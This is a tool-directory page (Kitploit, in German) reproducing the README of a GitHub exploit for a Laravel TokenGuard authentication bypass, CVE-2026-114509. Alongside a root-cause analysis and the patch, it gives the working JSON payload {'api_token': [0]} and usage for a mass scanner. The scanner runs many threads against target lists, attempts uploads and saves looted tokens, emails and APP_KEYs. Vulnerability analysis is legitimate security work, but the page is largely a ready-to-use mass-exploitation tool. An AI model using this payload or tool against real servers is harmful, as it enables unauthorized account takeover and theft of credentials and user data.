Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-114509 — Umgehung der Laravel-TokenGuard-Authentifizierung durch nicht-stringförmige API-Anmeldedaten | Kitploit
Tools/GitHubGitHub/nxploited/cve-2026-114509
AufklärungSchwachstellenscannerWeb-SchwachstellenscannerExploitationWebanwendungs-ExploitationInformationsbeschaffungPost-ExploitationPenetrationstestsAuthentifizierung
GitHubnxploited/cve-2026-114509

CVE-2026-114509

8vor 20h 25mNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

Umgehung der Laravel-TokenGuard-Authentifizierung durch nicht-stringförmige API-Anmeldedaten

Repository anzeigen
Teilen

CVE-2026-114509

Laravel TokenGuard-Authentifizierungsumgehung durch nicht-stringförmige API-Anmeldedaten

🔴 CVE-2026-114509 — Laravel TokenGuard-Authentifizierungsumgehung

Nicht authentifizierte Authentifizierungsumgehung im Laravel Framework — TokenGuard API Guard


📋 Überblick

CVE-2026-114509 ist eine kritische Authentifizierungsumgehungs-Schwachstelle im integrierten TokenGuard des Laravel Frameworks.

Wenn er mit einem standardmäßigen tokenbasierten API-Guard auf MySQL oder MariaDB konfiguriert ist, kann ein nicht authentifizierter Angreifer manipulierte, nicht-stringförmige Anmeldedaten (ein JSON-Array) übermitteln, wodurch die Authentifizierungsabfrage auf einen unbeabsichtigten bestehenden Benutzer passt — und so vollständigen Zugriff ohne Kenntnis eines gültigen API-Tokens gewährt.

Dies führt zu einer vollständigen Kontoübernahme auf jeder Route, die durch den betroffenen Guard geschützt ist.


🛡️ Schwachstellendetails

FeldDetails
CVE-IDCVE-2026-114509
GHSAGHSA-f9x3-7vq9-cph6
Betroffene SoftwareLaravel Framework (laravel/framework)
Betroffene Versionen< 12.68.0 und >= 13.0.0, < 13.29.0
TypAuthentifizierungsumgehung
CWECWE-287 — Unsachgemäße Authentifizierung
CWECWE-1287 — Unsachgemäße Validierung des angegebenen Eingabetyps
CVSS 4.0 Score9.2 / 10 — KRITISCH
CVSS-VektorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
AuthentifizierungKeine erforderlich (Pre-Auth)
BedingungMySQL / MariaDB-Backend
Patchv12.68.0 / v13.29.0

⚙️ CVSS 4.0-Aufschlüsselung

MetrikWertBedeutung
AngriffsvektorNetzwerkAus der Ferne über das Internet ausnutzbar
AngriffskomplexitätNiedrigKeine besonderen Bedingungen außer MySQL/MariaDB
AngriffsvoraussetzungenVorhandenErfordert MySQL/MariaDB-Typumwandlungsverhalten
Erforderliche PrivilegienKeineKeine Authentifizierung erforderlich
BenutzerinteraktionKeineKeine Aktion des Opfers erforderlich
VertraulichkeitHochVollständiger Lesezugriff auf authentifizierte Benutzerdaten
IntegritätHochKann Daten als der umgangene Benutzer ändern
VerfügbarkeitHochKann den Dienst durch Kontoübernahme stören

🔬 Technische Analyse

Ursache

Dies ist ein Typverwechslungs-Fehler an der Grenze zwischen HTTP-Anfrageparsing, PHP-Framework-Logik und SQL-Datenbankverhalten. Drei gewöhnliche Verhaltensweisen wirken zusammen, um die Schwachstelle zu erzeugen:

  1. TokenGuard akzeptiert nicht-stringförmige Eingaben — Die Methode user() in TokenGuard.php verwendet !empty($token) anstelle von is_string($token) && !empty($token). JSON-Anfragekörper können Arrays oder Ganzzahlen als Token-Wert liefern.

  2. EloquentUserProvider erstellt eine WHERE IN-Abfrage — Wenn retrieveByCredentials() einen Array-Wert erhält, generiert es WHERE api_token IN (...) anstelle von WHERE api_token = ....

  3. MySQL-Typumwandlung — MySQL konvertiert String-Spalten für den Vergleich in Zahlen. Die Ganzzahl 0 passt auf jeden String, der nicht mit einer Ziffer beginnt (was auf die meisten API-Tokens zutrifft), da MySQL diese Strings in 0.0 umwandelt.

Ausnutzungskette

JSON Body: {"api_token": [0]}
        │
        ▼
TokenGuard::user()
  → getTokenForRequest()
  → !empty([0]) === true          ← Should reject non-string
        │
        ▼
EloquentUserProvider::retrieveByCredentials()
  → WHERE api_token IN (0)        ← Array becomes WHERE IN
        │
        ▼
MySQL Type Coercion
  → 0 == "wAWrHm..." → true      ← Int 0 matches any string token
        │
        ▼
first() returns User #1
  → check() === true
  → Authentication Bypassed ✓

Angriffsablauf

┌──────────────────────────┐
│    Attacker (No Creds)   │
└────────────┬─────────────┘
             │
             │  POST /api/user
             │  Content-Type: application/json
             │  {"api_token": [0]}
             ▼
┌──────────────────────────┐
│    Laravel Application   │
│                          │
│  TokenGuard::user()      │
│    ↓ !empty([0]) = true  │
│  retrieveByCredentials() │
│    ↓ WHERE IN (0)        │
│  MySQL coercion          │
│    ↓ 0 matches strings   │
│  Returns first user      │
│    ↓ Authenticated ✓     │
│                          │
└────────────┬─────────────┘
             │
             │  200 OK
             │  {"id":1, "name":"Admin",
             │   "email":"[email protected]",
             │   "api_token":"wAWrHm..."}
             ▼
┌──────────────────────────┐
│  Full Account Takeover   │
│  • User data exposed     │
│  • API token leaked      │
│  • Admin access possible │
└──────────────────────────┘

Die Lösung

Laravel hat TokenGuard.php gepatcht, indem eine Typüberprüfung hinzugefügt wurde — wenn das Token kein String ist, gibt der Guard sofort null zurück und ruft niemals den User-Provider auf:

// Before (vulnerable)
$token = $this->getTokenForRequest();
if (! empty($token)) { ... }

// After (fixed)
$token = $this->getTokenForRequest();
if (! is_string($token) || empty($token)) { return; }

🚀 Verwendung

Voraussetzungen

  • Python 3.7+
  • requests
  • rich (für farbige Terminalausgabe)

Installation

git clone https://github.com/Nxploited/CVE-2026-114509.git
cd CVE-2026-114509
pip install requests rich

Modi

Das Tool unterstützt zwei Modi: Massenscan und Einzelziel-Tiefenprüfung.


🔍 Modus 1: Massenscan

Scannt eine Liste von Zielen auf die Schwachstelle:

python CVE-2026-114509.py scan targets.txt

Optionen:

python CVE-2026-114509.py scan targets.txt --threads 60 --timeout 12
FlagStandardBeschreibung
targets(erforderlich)Datei mit Ziel-URLs (eine pro Zeile)
--threads60Anzahl der gleichzeitigen Threads
--timeout12Anfrage-Timeout in Sekunden

Zieldateiformat (targets.txt):

https://target1.com
https://target2.com
http://192.168.1.100:8080
target3.com

Ziele ohne Schema verwenden standardmäßig https://.

Ausgabedateien (im Skriptverzeichnis erstellt):

DateiInhalt
LV_DETECTED.txtAlle erkannten Laravel-Anwendungen
LV_BYPASS.txtBestätigte Authentifizierungsumgehungen
LV_UPLOAD.txtErgebnisse der Upload-Versuche
LV_LOOT.txtExtrahierte Daten (Tokens, E-Mails, APP_KEYs, Benutzerdaten)

🎯 Modus 2: Einzelziel

Tiefgehende Untersuchung eines einzelnen Ziels mit ausführlicher Ausgabe:

python CVE-2026-114509.py single https://target.com

Optionen:

python CVE-2026-114509.py single https://target.com --timeout 15

Dies führt alle vier Phasen nacheinander mit detaillierter Ausgabe aus:

Phase 1: Laravel Detection...
  + laravel_session
  + XSRF-TOKEN
  + api:401
Tool herunterladen